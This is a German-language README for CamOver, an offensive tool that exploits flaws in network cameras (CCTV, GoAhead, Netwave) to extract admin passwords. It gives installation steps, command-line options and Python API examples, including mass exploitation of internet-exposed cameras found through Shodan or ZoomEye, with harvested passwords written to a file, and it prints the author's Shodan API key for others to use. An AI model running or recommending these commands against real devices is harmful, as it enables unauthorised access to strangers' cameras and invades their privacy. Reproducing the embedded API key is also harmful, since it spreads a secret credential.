CamOver

CamOver ist ein Tool zur Kamera-Exploitation, das die Offenlegung des Admin-Passworts von Netzwerkkameras ermöglicht.

Features

• Nutzt Schwachstellen in den gängigsten Kameramodellen wie CCTV, GoAhead und Netwave aus.
• Optimiert für die gleichzeitige Ausnutzung mehrerer Kameras aus einer Liste mit aktiviertem Threading.
• Einfache CLI- und API-Nutzung.

Installation

pip3 install git+https://github.com/EntySec/CamOver

Grundlegende Verwendung

Um CamOver zu verwenden, geben Sie einfach camover in Ihrem Terminal ein.

usage: camover [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
               [--zoomeye ZOOMEYE] [-p PAGES]

CamOver ist ein Tool zur Kamera-Exploitation, das die Offenlegung des Admin-Passworts von Netzwerkkameras ermöglicht.

optionale Argumente:
  -h, --help            diese Hilfemeldung anzeigen und beenden
  -t, --threads         Threads für schnellste Arbeit verwenden.
  -o OUTPUT, --output OUTPUT
                        Ergebnis in Datei ausgeben.
  -i INPUT, --input INPUT
                        Eingabedatei mit Adressen.
  -a ADDRESS, --address ADDRESS
                        Einzelne Adresse.
  --shodan SHODAN       Shodan-API-Schlüssel zur Ausnutzung von Geräten über das Internet.
  --zoomeye ZOOMEYE     ZoomEye-API-Schlüssel zur Ausnutzung von Geräten über das Internet.
  -p PAGES, --pages PAGES
                        Anzahl der Seiten, die Sie von ZoomEye abrufen möchten.

Beispiele

Einzelne Kamera ausnutzen

Hacken wir meine Kamera einfach zum Spaß.

camover -a 192.168.99.100

Kameras aus dem Internet ausnutzen

Versuchen wir, die Shodan-Suchmaschine zu nutzen, um Kameras über das Internet auszunutzen. Wir verwenden sie mit -t für eine schnelle Exploitation.

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

HINWEIS: Der angegebene Shodan-API-Schlüssel (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) ist mein PRO-API-Schlüssel. Sie können diesen Schlüssel oder Ihren eigenen verwenden. Nutzen Sie alle unsere Ressourcen kostenlos :)

Kameras aus einer Eingabedatei ausnutzen

Versuchen wir, eine geöffnete Kamera-Datenbank mit -t für eine schnelle Exploitation zu nutzen.

camover -t -i cameras.txt -o passwords.txt

HINWEIS: Es wird alle Kameras in der Liste cameras.txt anhand ihrer Adressen ausnutzen und alle erhaltenen Passwörter in passwords.txt speichern.

API-Nutzung

CamOver verfügt auch über eine eigene Python-API, die durch Importieren von CamOver in Ihren Code aufgerufen werden kann.

from camover import CamOver

Grundfunktionen

Dies sind alle grundlegenden CamOver-Funktionen, die zur Ausnutzung einer bestimmten Kamera verwendet werden können.

• exploit(address) - Einzelne Kamera anhand der angegebenen Adresse ausnutzen.

Beispiele

Einzelne Kamera ausnutzen

from camover import CamOver

camover = CamOver()
creds = camover.exploit('192.168.99.100')

print(creds)